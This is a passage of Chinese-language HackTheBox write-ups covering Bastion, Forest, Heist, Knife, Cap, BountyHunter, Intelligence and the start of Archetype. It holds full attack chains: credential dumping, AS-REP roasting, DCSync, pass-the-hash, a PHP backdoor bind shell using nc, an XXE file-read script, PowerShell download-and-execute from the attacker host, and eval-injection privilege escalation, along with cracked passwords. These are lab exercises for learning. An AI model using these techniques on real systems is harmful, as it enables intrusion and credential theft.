cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml An 6542 Fri Feb 22 20:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml An 2894 Fri Feb 22 20:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml An 1488 Fri Feb 22 20:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml An 1484 Fri Feb 22 20:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml An 3844 Fri Feb 22 20:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml An 3988 Fri Feb 22 20:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml An 7110 Fri Feb 22 20:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml An 2374620 Fri Feb 22 20:45:32 2019

7735807 blocks of size 4096. 2757267 blocks available

先挂载SMB服务的文件,再将VHD文件挂载到本地磁盘

1
2
3
4
5
6
mkdir /tmp/vhd
mkdir /tmp/l4mpje-pc
mount -t cifs //10.10.10.134/backups/WindowsImageBackup/L4mpje-PC /tmp/l4mpje-pc/ -o user=anonymous
modprobe nbd max_part=16
qemu-nbd -r -c /dev/nbd0 "/tmp/l4mpje-pc/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd"
mount -r /dev/nbd0p1 /tmp/vhd

复制SAM文件和SYSTEM文件

1
2
cp /tmp/vhd/Windows/System32/config/SYSTEM /root/
cp /tmp/vhd/Windows/System32/config/SAM /root/

取消挂载

1
2
3
4
umount /tmp/vhd
qemu-nbd -d /dev/nbd0
rmmod nbd
umount /tmp/l4mpje-pc

dump出Hash

1
2
3
4
5
6
7
8
python secretsdump.py local -system /root/SYSTEM -sam /root/SAM

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up...

解密得到明文

1
2
3
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT hash

bureaulampje (?)

SSH登入

1
2
3
4
5
ssh L4mpje@10.10.10.134
bureaulampje

type Desktop\user.txt
9bfe57d5c3309db3a151772f9d86c6cd

权限提升

找到mRemoteNG程序的凭证储存

1
2
3
type \Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml

Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

还原管理员口令

1
2
3
4
wget https://raw.githubusercontent.com/kmahyyg/mremoteng-decrypt/master/mremoteng_decrypt.py
python mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

Password: thXLHM96BeKL0ER2

ssh登入

1
2
3
4
5
ssh administrator@10.10.10.134
thXLHM96BeKL0ER2
type \Users\Administrator\Desktop\root.txt

958850b91811676ed6620a9c430e65c8

HackTheBox_Forest

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sV -sT -Pn 10.10.10.161

Nmap scan report for 10.10.10.161
Host is up (0.081s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-05 14:34:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

漏洞利用

还是DC

跑出来域名和一些用户名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
enum4linux 10.10.10.161

===========================================
| Getting domain SID for 10.10.10.161 |
===========================================
Domain Name: HTB
Domain Sid: S-1-5-21-3072663084-364016917-1341370565
[+] Host is part of a domain (not a workgroup)

-----

=============================
| Users on 10.10.10.161 |
=============================
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Typically that requires credentials on the domain to authenticate with. There is an option for an account to have the property “Do not require Kerberos preauthentication” or UF_DONT_REQUIRE_PREAUTH set to true. AS-REP Roasting is an attack against Kerberos for these accounts.

https://0xdf.gitlab.io/2020/03/21/htb-forest.html#as-rep-roasting

AS-REP Roasting

1
2
3
4
5
python GetNPUsers.py HTB/svc-alfresco -request -no-pass -dc-ip 10.10.10.161
Impacket v0.9.23.dev1 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB:74aacc88dcebdc99fbdfad38ea7bfb86$0f390178e508b52f3547f4784f435ca5955e6086b719aab1723ec0d13c900d4b0b7e4a00c10162b5615fb8c93e90f34a1746b5de60400cac0a2eae9ecab1a1d16f1d41958d72811ba73835e3177ea538e77888a207a47537c83644879fa792b5d31b965dd75aef7409dc34ba0b2df67eb987db6779846f330d563277f97e004484f67e7a853beec8e7552b427ac4c43fabd3f523a365f80a43f90f587ee08bbc8d06ad907d9efc5a6541714f92fe3c7626dd539daa45d54a4ef5733579277c65f7d11ca380184131a767428ca62077e4553fd8d86d1e7340da4b41b115357485

爆破口令明文

1
2
3
john --wordlist=/usr/share/wordlists/rockyou.txt hash

s3rvice ($krb5asrep$23$svc-alfresco@HTB)

evil-winrm登入

1
2
3
4
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
type C:\users\svc-alfresco\desktop\user.txt

e5e4e47ae7022664cda6eb013fb0d9ed

权限提升

下载bloodhound的powershell版本的collector,开启HTTP服务和SMB服务(impacket)

1
2
3
4
wget https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
python -m http.server 9998&
python smbserver.py Bufferfly . -smb2support -username Buffer -password fly&

靶机上下载bloodhound collector并回传输出文件

1
2
3
4
5
6
7
iex(new-object net.webclient).downloadstring("http://10.10.16.11:9998/PowerView.ps1")
iex(new-object net.webclient).downloadstring("http://10.10.16.11:9998/SharpHound.ps1")
powershell -exec bypass
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
net use \\10.10.16.11\Bufferfly /u:Buffer fly
copy 20210705223815_BloodHound.zip \\10.10.16.11\Bufferfly\
net use /d \\10.10.16.11\Bufferfly

bloodhound的内容实在是看不懂,看了WP
大概思路是

  1. 用户"svc-alfresco"拥有账户操作权限,可以创建域账户
  2. 用户"svc-alfresco"完全控制"Exchange Windows Permissions"组(GenericAll),可以将"svc-alfresco"加入"Exchange Windows Permissions"组
  3. "Exchange Windows Permissions"组可以修改域用户的ACL(WriteDacl)
  4. 用户"svc-alfresco"利用"Exchange Windows Permissions"组的权限赋予"DCSync"权限
  5. 利用这个域账户进行DCSync攻击

添加域用户

1
net user bufferfly bufferfly /add /domain

执行命令后重新Getshell

1
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members svc-alfresco

查看组

1
2
3
4
whoami /groups

HTB\Exchange Windows Permissions Group S-1-5-21-3072663084-364016917-1341370565-1121 Mandatory group, Enabled by default, Enabled group
HTB\Exchange Trusted Subsystem Group S-1-5-21-3072663084-364016917-1341370565-1119 Mandatory group, Enabled by default, Enabled grou

添加DCSync权限(PowerView.ps1)

1
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity bufferfly -Rights DCSync

DCSync攻击

1
2
3
python secretsdump.py -just-dc "htb/bufferfly:bufferfly@10.10.10.161"

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

Hash登入

1
2
3
4
evil-winrm -i 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
type c:\users\administrator\desktop\root.txt

f048153f202bbb2f82622b04d79129cc

貌似svc-alfresco不是域用户,而DCSync的操作需要一个域用户的凭证

Powershell在运行命令时貌似会自动地从ps1文件载入函数,很方便


HackTheBox_Heist

端口扫描

1
2
3
4
5
6
7
8
9
10
nmap -sV -sT -Pn 10.10.10.149

Nmap scan report for 10.10.10.149
Host is up (0.24s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

漏洞利用

访问http://10.10.10.149/attachments/config.txt

得到一些账户

1
2
3
rout3r:$uperP@ssword
admin:Q4)sJu\Y8qz*A3?d
secret:stealth1agent

测试hazard的密码(由于未知原因,hydra不能爆破SMB)

1
2
3
4
5
6
7
smbmap -H 10.10.10.149 -u hazard -p stealth1agent

Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC

枚举域账户信息

1
2
3
4
5
6
7
8
9
10
11
python lookupsid.py hazard:stealth1agent@heist

500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat user

hazard
administrator
admin
rout3r
admin
secret
support
Chase
------
cat pass

$uperP@ssword
Q4)sJu\Y8qz*A3?d
stealth1agent

爆破winrm服务

1
2
3
crackmapexec winrm 10.10.10.149 -d heist -u user -p pass

WINRM 10.10.10.149 5985 10.10.10.149 [+] heist\Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)

winrm登入

1
2
3
4
evil-winrm -i 10.10.10.149 -u chase -p "Q4)sJu\Y8qz*A3?d"
type c:\users\chase\desktop\user.txt

a127daef77ab6d9d92008653295f59c4

权限提升

查看进程

1
2
3
4
5
6
7
ps

378 28 25008 62440 1.16 6216 1 firefox
355 25 16444 38908 0.27 6564 1 firefox
1050 73 172600 248916 13.88 6732 1 firefox
347 19 9972 34476 0.23 6844 1 firefox
401 34 40728 101244 3.31 6956 1 firefox

可以看看firefox进程内存

开启HTTP服务与SMB服务

1
2
python -m http.server 9998&
python smbserver.py Bufferfly . -smb2support -username Buffer -password fly&

上传procdump并回传firefox进程内存

1
2
3
4
5
wget -uri http://10.10.16.14:9998/procdump64.exe -outfile procdump64.exe
./procdump64.exe -accepteula -ma 6216
net use \\10.10.16.14\Bufferfly /u:Buffer fly
copy firefox.exe_210706_221007.dmp \\10.10.16.14\Bufferfly\
net use /d \\10.10.16.14\Bufferfly

查找admin相关信息

1
2
3
grep -a admin firefox.exe_210706_221007.dmp

localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ

wimrm登入

1
2
3
4
evil-winrm -i 10.10.10.149 -u administrator -p '4dD!5}x/re8]FBuZ'
type c:\users\administrator\desktop\root.txt

50dfa3c6bfd20e2e0d071b073d766897

还是没想通为啥hydra爆不了smb,以后有机会再试试


HachTheBox_Knife

端口扫描

1
2
3
4
5
6
7
8
9
nmap -sV -Pn -T5 10.10.10.242

Nmap scan report for 10.10.10.242
Host is up (0.36s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

漏洞利用

得到PHP版本信息

1
2
3
4
5
6
7
curl -I http://10.10.10.242/

HTTP/1.1 200 OK
Date: Thu, 05 Aug 2021 05:54:34 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8

查询得到相关漏洞

1
2
3
4
5
6
7
8
9
searchsploit php 8.1 dev

----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

将Bash开放到目标服务器9876端口,并用nc连接

1
curl -H "User-Agentt: zerodiumsystem('mkfifo /tmp/bufferfly; cat /tmp/bufferfly | /bin/bash -i 2>&1 | nc -l 9876 > /tmp/bufferfly');" http://10.10.10.242/
1
2
3
4
nc 10.10.10.242 9876
cat /home/james/user.txt

71a8b414816d223319c095a64edbae6c

权限提升

查看sudo权限

1
2
3
4
5
6
7
sudo -l

Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
1
2
3
4
sudo -u root knife exec --exec "exec '/bin/bash -i'"
cat /root/root.txt

6fa9527622b5b0396511a575bd529b42

HachTheBox_Cap

端口扫描

1
2
3
4
5
6
7
8
9
10
nmap -sV -Pn -T5 10.10.10.245

Nmap scan report for 10.10.10.245
Host is up (0.28s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

漏洞利用

下载流量包

1
2
curl -O http://10.10.10.245/download/0
wireshark 0

得到FTP登入凭证

1
nathan:Buck3tH4TF0RM3!
1
2
ssh nathan@10.10.10.245
Buck3tH4TF0RM3!
1
2
3
cat /home/nathan/user.txt

f514ef062a27e672c5e88001061d8c5a

权限提升

查看capability

1
2
3
4
5
6
7
getcap /* -r 2>/dev/null

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

使用python进行提权

1
2
3
4
/usr/bin/python3.8 -c 'import os;os.setuid(0);os.system("/bin/bash")'
cat /root/root.txt

64941cc0edb38d723f72d34453780c90

HachTheBox_BountyHunter

端口扫描

1
2
3
4
5
6
7
8
9
nmap -sV -Pn -T5  10.10.11.100

Nmap scan report for 10.10.11.100
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

路径扫描

1
2
3
dirb http://10.10.11.100/ -X .php

+ http://10.10.11.100/db.php (CODE:200|SIZE:0)

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64
import re
import requests

req = requests.session()
file = input()
payload = {"data":base64.b64encode(("""<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=""" + file + """\">]>
<bugreport>
<title>&xxe;</title>
<cwe>2</cwe>
<cvss>3</cvss>
<reward>4</reward>
</bugreport>""").encode()).decode()}
url = "http://10.10.11.100/tracker_diRbPr00f314.php"
res=req.post(url=url, data=payload)
data = res.text
data = data.replace("\n", "")
result = base64.b64decode(re.findall("<td>Title:</td> <td>(.*?)</td>", data)[0].encode()).decode()
print(result)

读取/etc/passwd

1
development:x:1000:1000:Development:/home/development:/bin/bash

读取db.php

1
2
3
4
5
6
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

登入SSH服务

1
2
ssh development@10.10.11.100
m19RoAU0hP41A1sTsq6K
1
2
3
cat /home/development/user.txt

96248cc10e05f03e3b63eb59adfd9d4c

权限提升

1
2
3
4
5
6
7
8
9
10
11
cat /home/development/contract.txt

Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

查看sudo权限

1
2
3
4
5
6
7
8
sudo -l

Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

查看py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()

def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue

if x.startswith("__Ticket Code:__"):
code_line = i+1
continue

if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False

def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close

main()

eval()可以进行执行命令

构造恶意文本

1
2
3
4
5
6
7
8
cat /tmp/1.md

# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**11+eval("__import__('os').system('/bin/bash')")**
##Issued: 2021/06/21
#End Ticket

提权

1
2
sudo -u root /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
/tmp/1.md
1
2
3
cat /root/root.txt

d8b513ba7130a46641d2c65966f6b8e6

HachTheBox_Intelligence

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap -sV -sT -Pn 10.10.10.248

Nmap scan report for 10.10.10.248
Host is up (0.21s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-18 12:54:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

漏洞利用

访问80端口,可以看到主页上有两个PDF的链接

尝试枚举其他PDF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#pdf.py
import requests
req = requests.session()
for i in range(3):
for j in range(1, 13):
for k in range(31):
year = str(2020 + i)
month = ("0" + str(j)) if len(str(j)) == 1 else str(j)
day = ("0" + str(k)) if len(str(k)) == 1 else str(k)
url = "http://10.10.10.248/documents/" + year + "-" + month + "-" + day + "-upload.pdf"
res = req.get(url)
if res.status_code == 200:
filename = year + "-" + month + "-" + day + "-upload.pdf"
print(filename)
file = open(filename, "wb")
file.write(res.content)

获取PDF的用户名

1
2
3
4
5
6
7
8
#pdf.sh
filelist=`ls *.pdf`
filenum=`ls *.pdf|wc -l`
for ((i=1;i<=$filenum;i++))
do
filename[${i}]=`ls *.pdf| sed -n ${i}p`
echo `exiftool ${filename[${i}]} | grep Creator | awk -F \ '{print \$3}'` >> user
done

从2020-06-04-upload.pdf中得到一个密码NewIntelligenceCorpUser9876

爆破SMB

1
2
3
crackmapexec smb 10.10.10.248 -d intelligence -u user -p NewIntelligenceCorpUser9876

SMB 10.10.10.248 445 DC [+] intelligence\Tiffany.Molina:NewIntelligenceCorpUser9876

查看SMB路径

1
2
3
4
5
6
7
8
9
10
11
smbmap -H 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 -d intelligence

Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
IT READ ONLY
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Users READ ONLY

获得user.txt

1
2
3
smbclient //10.10.10.248/users -U Tiffany.Molina NewIntelligenceCorpUser9876
cd Tiffany.Molina\Desktop\
get user.txt
1
2
3
cat user.txt

bbfd0948d53d769c6ec2fcc02181fa7b

权限提升

获取powershell脚本

1
2
smbclient //10.10.10.248/IT -U Tiffany.Molina NewIntelligenceCorpUser9876
get downdetector.ps1
1
2
3
4
5
6
7
8
9
10
11
12
cat downdetector.ps1

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

伪造域名

1
2
wget https://raw.githubusercontent.com/dirkjanm/krbrelayx/master/dnstool.py
python3 dnstool.py -u "intelligence.htb\Tiffany.Molina" -p NewIntelligenceCorpUser9876 --action add -r webbufferfly.intelligence.htb -d 10.10.16.24 10.10.10.248

获取账户

1
2
3
responder -I tun0 -A

Ted.Graves::intelligence:a0ccbece497d44d6:5F06EFF458D65EF3D277BBEF99522C05:01010000000000006E002FBCEB7ED70155A10145AE3210F90000000002000800320041004400530001001E00570049004E002D00490056004200580046004E00320037003300340045000400140032004100440053002E004C004F00430041004C0003003400570049004E002D00490056004200580046004E00320037003300340045002E0032004100440053002E004C004F00430041004C000500140032004100440053002E004C004F00430041004C000800300030000000000000000000000000200000A9E570CA9FC3E890033A04EB61C9D3A383AF9C961FCC3E1B59979F2C02378B410A0010000000000000000000000000000000000009003E0048005400540050002F007700650062003100310034003500310034002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

爆破Hash

1
2
3
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Mr.Teddy (Ted.Graves)

获得凭证

1
Ted.Graves:Mr.Teddy

获取Hash

1
2
3
4
wget https://raw.githubusercontent.com/micahvandeusen/gMSADumper/main/gMSADumper.py
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb -l 10.10.10.248

svc_int$:::47e89a6afd68e3872ef1acaf91d0b2f7

获取SPN

1
2
3
4
git clone https://github.com/the-useless-one/pywerview
python3 pywerview.py get-netcomputer -u svc_int$ --hashes 47e89a6afd68e3872ef1acaf91d0b2f7 -d intelligence.htb -t dc.intelligence.htb --full-data

msds-allowedtodelegateto: WWW/dc.intelligence.htb

获取ST

1
2
3
4
5
python3 getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :47e89a6afd68e3872ef1acaf91d0b2f7 -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k dc.intelligence.htb -just-dc

Administrator:500:aad3b435b51404eeaad3b435b51404ee:9075113fe16cf74f7c0f9b27e882dad3:::

Hash登入

1
2
3
4
evil-winrm -i 10.10.10.248 -u administrator -H 9075113fe16cf74f7c0f9b27e882dad3
type c:\users\administrator\desktop\root.txt

0c6b9779d283e244e79b11c78fc1fb92

HackTheBox_Archetype

Windows

端口扫描

1
2
3
4
5
6
7
8
9
10
11
nmap -sV -sT -Pn 10.10.10.27

Nmap scan report for 10.10.10.27
Host is up (0.51s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

漏洞利用

用smbmap先扫描一波SMB服务

1
2
smbmap -H 10.10.10.27
[+] IP: 10.10.10.27:445 Name: 10.10.10.27

随便加个用户名

1
2
3
4
5
6
7
8
smbmap -H 10.10.10.27 -u test
[+] Guest session IP: 10.10.10.27:445 Name: 10.10.10.27
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
backups READ ONLY
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC

空密码即可登入

1
2
3
4
5
6
7
8
9
10
11
smbclient \\\\10.10.10.27\\backups -U test
Enter WORKGROUP\test's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Jun 4 12:10:59 2021
.. D 0 Fri Jun 4 12:10:59 2021
prod.dtsConfig AR 609 Mon Jan 20 20:23:02 2020
schtasks.txt A 174006 Fri Jun 4 12:05:57 2021
services.txt A 6370 Fri Jun 4 12:10:59 2021

10328063 blocks of size 4096. 8165400 blocks available
1
2
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
1
2
3
4
5
6
7
8
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
